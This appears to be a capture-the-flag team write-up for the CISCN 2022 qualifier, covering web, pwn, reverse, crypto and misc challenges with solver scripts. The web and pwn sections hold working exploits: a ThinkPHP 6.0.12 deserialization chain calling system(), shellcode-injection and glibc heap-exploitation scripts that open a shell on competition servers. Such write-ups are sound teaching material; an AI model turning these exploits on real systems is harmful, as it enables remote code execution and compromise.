Back
Featured image of post CISCN2022 初赛 Writeup by or4nge

CISCN2022 初赛 Writeup by or4nge

CISCN 2022 6th~

Web

ezpop

tp6.0.12 的反序列化洞,直接用现成的链的打就行

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['key' => ["cat /flag.txt"]];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['key' => ['system']];
            $this->json = ['key',['key']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

Pwn

login-nomal

可见字符 shellcode,调用 ae64 脚本,rdx 直接打通

from pwn import *
from ae64 import AE64
import sys
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./login")
    libc = ELF("./libc-2.33.so")
else:
    p = remote("101.201.123.35", 17186)

    
def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
            
elf = ELF('./login')


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

# debugf(0x0401008)

def Login(msg):
    p.sendlineafter(">>> ", "opt:1\r\nmsg:%s\r\n" %msg)

def weak(msg):
    p.sendlineafter(">>> ", "opt:2\r\nmsg:%s\r\n" %msg)

def Logout(msg):
    p.sendlineafter(">>> ", "opt:3\r\nmsg:%s\r\n" %msg)



shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode, 'rdx', 0, 'fast')
# gdb.attach(p, "b *$rebase(0xe54)")

sleep(1)


Login("ro0t")
print(enc_shellcode.decode('latin-1'))
weak(enc_shellcode.decode('latin-1'))

p.interactive()

newest_note

2.34 版本,整数溢出 +uaf,先 leak tcache 的 key,然后伪造堆块拿 libc 和 environ 最后再伪造一个栈上的 chunk 到返回地址拿到 shell

from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./newest_note")
    libc = ELF("./libc.so.6")
else:
    p = remote("47.93.180.93", 27873)
    libc = ELF("./libc.so.6")
    
def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
            
elf = ELF('./newest_note')


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def menu(i):
    sla(b':',str(i))

def add(index,content):
    menu(1)
    sla('Index: ',str(index))
    sla('Content: ',content)

def flip(index):
    menu(2)
    sla('Index: ',str(index))

def show(index):
    menu(3)
    sla('Index: ',str(index))


ru('will be? :')
sl(str(0x300200020//8))
add(0,b"aaa")
add(1,b"bbb")
for i in range(0,24):
    add(4,(p64(0)+p64(0x21))*3)

flip(0)
show(0)
ru('Content: ')
key = u64(p.recv(5).ljust(8,b'\x00'))

flip(1)
show(1)
ru('Content: ')
heapinfo = u64(ru('\n')[:-1].ljust(8,b'\x00'))
heapaddr = heapinfo ^ key
heap_base = heapaddr - 0x2a0
print("key: " + hex(key))
print("heapaddr: " + hex(heapaddr))
print("heap_base: " + hex(heap_base))


add(0,p64(0))
add(1,p64(key)+p64(0x41)+p64(key)+p64(0x41)+p64(key)+p64(0x41)) 
add(2,3*(p64(0)+p64(0x21)))

chunk1_size = heap_base+0x2b0

print("chunk1 size: " + hex(chunk1_size))
print("enc chunk1 size: " + hex((chunk1_size)^key))

add(0x41cc70//8, p64(0)+p64(0x41)+p64(chunk1_size^key) +p64(0) )

add(3,p64(0)*4+p64(0)+p64(0x420))
add(4,p64(0)*3+p64(0x421))
flip(0)
show(0)
libc_info = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
libc.address = libc_info - 0x218cc0
print("libc_info: " + hex(libc_info))
print("libc_base: " + hex(libc.address))

env = libc.symbols['environ'] - 0x10

add(0,b"a"*8) 
flip(2)
flip(0)
flip(4)

add(4,p64(0)*3+p64(0x41)+p64(env^key))

add(0,b'aaa')
add(2,b'a'*15)

show(2)

stack2= u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("stack_info2: " + hex(stack2))

ret2 = stack2 - 0x158
flip(1)
flip(0)
flip(4)

success("ret_enc: " + hex(ret2^key))
success("ret_addr: " + hex(ret2))

add(4,p64(0)*3+p64(0x41)+p64(ret2^key)) 
add(1,b'aaa')
pop_rdi_ret = 0x000000000002e6c5 
ret = 0x000000000004a7cc 

payload =b"a"*8 + p64(pop_rdi_ret + libc.address) + p64(libc.search(b"/bin/sh\x00").__next__()) + p64(ret + libc.address) + p64(libc.sym['system'])
add(4,payload)

p.interactive()

Re

baby_tree

手撸 ast,还原到 swift 源码

func check(encoded:String, keyValue:String) -> (Bool){
    var b = [UInt8](encoded.utf8)
    var k = [UInt8](keyValue.utf8)
    var r0, r1, r2, r3: UInt8
    for i in 0...b.count-4{
        (r0, r1, r2, r3) = (b[i], b[i+1], b[i+2], b[i+3])
        b[i+0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
        b[i+1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
        b[i+2] = r0 ^ k[2]
        b[i+3] = r1 ^ k[3]
        (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
    }
    return b == [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16]
}

用 z3 求解

from z3 import *

enc = [
    88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64,
    91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205,
    103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16
]

k = [0x33, 0x34, 0x35, 0x79]

s = Solver()
flag = [BitVec('flag%d' % i, 16) for i in range(len(enc))]

for i in range(len(flag) - 3):
    r0, r1, r2, r3 = flag[i], flag[i + 1], flag[i + 2], flag[i + 3]
    flag[i + 0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
    flag[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
    flag[i + 2] = r0 ^ k[2]
    flag[i + 3] = r1 ^ k[3]
    (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])

for i in range(len(enc)):
    s.add(enc[i] == flag[i])

if s.check() == sat:
    print (s.model())
else:
    print ("no res")

babycode

mruby 字节码,参考文档:https://github.com/mruby/mruby/blob/c6c789d2e84085831351740684b72f9a5086cd2d/include/mruby/ops.h

手撸还原源码

class Crypt
    class CIPHER
        XX = 305419896
        YY = 16
        def self.encrypt(t, p)
            cip = CIPHER.new()
            return cip.encrypt(t, p)
        end
        
        def encrypt(t, p)
            key = to_key(p)
            c = []
            n = 0
            while n < t.length do
                num1 = t[n].ord.to_i << 24
                num1 += t[n + 1].ord.to_i << 16
                num1 += t[n + 2].ord.to_i << 8
                num1 += t[n + 3].ord.to_i
                num2 = t[n + 4].ord.to_i << 24
                num2 += t[n + 5].ord.to_i << 16
                num2 += t[n + 6].ord.to_i << 8
                num2 += t[n + 7].ord.to_i
                enum1, enum2 = enc_one(num1, num2, key)
                c << enum1
                c << enum2
                n += 8
            end
            return "".join(c.collect{| x |sprintf('%.8x', x)})
        end

        private
        def to_key(p)
            return p.unpack("L*")
        end

        def enc_one(num1, num2, key)
            y, z, s = num1, num2, 0
            YY.times{ | i |
                y += (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
                y &= 4294967295
                s += XX
                z += (((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3])
                z &= 4294967295
            }
        end
    end
end

def check(p)
    i = 0
    lst_ch = 0
    while i < p.length do
        c = p[i].ord
        p[i] = (c ^ lst_ch ^ (i + 1)).chr
        lst_ch = c
        i += 1
    end
    k = "aaaassssddddffff"
    cipher_text = Crypt::CIPHER.encrypt(p, k)
    if cipher_text == "f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb"
        return true
    end
    return false
end

p = gets.chomp
if check(p)
    puts "yes"
end

修改后的 xtea,解密脚本:

#include <stdio.h>  
#include <stdint.h>  

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
    unsigned int i;  
    uint32_t v0=v[0], v1=v[1], delta=305419896, sum=delta*num_rounds;  
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 3) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum + 1) & 3]);  
        sum -= delta;
        v0 -= (((v1 << 3) ^ (v1 >> 5)) + v1) ^ (sum + key[((sum>>11) + 1) & 3]);  
    }  
    v[0]=v0; v[1]=v1;  
}

int main() {
    uint32_t v[] = {0xf469358bu, 0x7f165145u, 0x116e127au, 0xd6105917u, 0xbce5225du, 0x6d62a714u, 0xc390c5edu, 0x93b22d8bu, 0x6b102a88u, 0x13488fdbu};  
    uint32_t const k[4] = {0x61616161u, 0x73737373u, 0x64646464u, 0x66666666u};
    unsigned int r=16;
    decipher(r, v, k);
    decipher(r, v + 2, k);
    decipher(r, v + 4, k);
    decipher(r, v + 6, k);
    decipher(r, v + 8, k);
    printf("%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\n",v[0],v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]);  
    return 0;
}

最后一个异或使用 python 求解

a = [0x67, 0x08, 0x0e, 0x02, 0x19, 0x4b, 0x50, 0x0d, 0x5c, 0x58, 0x5f, 0x0b, 0x5e, 0x40, 0x46, 0x15, 0x11, 0x47, 0x0a, 0x08, 0x15, 0x42, 0x11, 0x56, 0x0d, 0x47, 0x49, 0x1e, 0x04, 0x03, 0x1d, 0x26, 0x27, 0x71, 0x21, 0x76, 0x26, 0x24, 0x27, 0x65]

lst_ch = 0
for i in range(40):
    lst_ch = a[i] ^ lst_ch ^ (i + 1)
    print (chr(lst_ch), end='')

secreeeeet

rabbit 加密

key 前 5 字节随机生成,后面 11 字节根据前面 5 字节生成

最后用 3 个随机字节异或

已知 flag.png 的文件头,可以爆破得到 key

直接用网上的 Rabbit 库解密

import hashlib
from Rabbit import *

r = open('flag.png.enc', 'rb')
message = r.read()

start = "0123456789"
s = "qscfthnjik"
for s1 in s:
    for s2 in s:
        for s3 in s:
            for s4 in s:
                for s5 in s:
                    key = [ord(s1), ord(s2), ord(s3), ord(s4), ord(s5)]
                    for i in range(11):
                        key.append((key[-1] + key[-2]) & 0xff)
                    for i in range(16):
                        key[i] = key[i].to_bytes(1, 'big')
                    key = b''.join(key)
                    msg = Rabbit(key, b'\x01\x02\x03\x04\x05\x06\x07\x08').encrypt(message[:8]).encode()
                    for i in start:
                        if ord(i) ^ msg[0] == 0x89:
                            for j in start:
                                if ord(j) ^ msg[1] == 0x50:
                                    for k in start:
                                        if ord(k) ^ msg[2] == 0x4e:
                                            if ord(i) ^ msg[3] == 0x47:
                                                msg = Rabbit(key, 0).encrypt(message).encode()
                                                ans = b''
                                                for i in range(len(msg)):
                                                    ans += chr(
                                                        (msg[i])
                                                        ^ key[i % 3]).encode()
                                                print(ans)

Crypto

签到电台

首先发送一个 s 开启电报,抓包可以看到返回一个 session,再随意发一个字符发现 session 添加到了 cookie 字段中,之后直接发送电码本和掩码的模 10 加结果即可,注意中间是用 J 分隔的,脚本如下

plaint = '1732251413440356045166710055'
mask   = '1021723964055826996370726447'
msg = ''
for i in range(len(plaint)):
        msg += str((int(plaint[i]) + int(mask[i])) % 10)

for i in range(len(msg)):
        if i % 4 == 0:
                print('J')
        print(msg[i], end="")

基于挑战码的双向认证123

学着 server 的代码填空即可,主要填两个地方,填完发现仨题都能打通

在 152 行处

    Memset(Buf,0,DIGEST_SIZE*4);
    Strncpy(Buf,client_state->key,DIGEST_SIZE);
    Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
    Memcpy(Buf+DIGEST_SIZE*2,client_state->nonceB,DIGEST_SIZE);
    calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3);

在 184 行处

    Memset(Buf,0,DIGEST_SIZE*2);
    Strncpy(Buf,client_state->key,DIGEST_SIZE);
    Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE);
    calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info->passwd);

ISO9798

随意发送 16 字节后拿到 E(r_A||r_B||B),试了几次发现用的是分组加密的 ECB 模式,直接发送给服务端 E(r_B)||E(r_A) 即可

Misc

问卷

填问卷,拿 flag

ez_usb

两个键盘的流量,一个是 rar,一个是密码,抓出流量解密拿到 flag

import sys
import os

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

# tshark -r ez_usb.pcapng -T fields -e usb.capdata -Y "usb.device_address==8" | sed '/^\s*$/d' > usb1.dat

with open("usb1.dat", "r") as f:
    for line in f:
        presses.append(line[0:-1])
result = ""
for press in presses:
    if press == '':
        continue
    if ':' in press:
        Bytes = press.split(":")
    else:
        Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
    if Bytes[0] == "00":
        if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
            result += normalKeys[Bytes[2]]
    elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
        if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
            result += shiftKeys[Bytes[2]]
    else:
        print("Unknow Key : %s" % (Bytes[0]))

print("got : %s" % (result))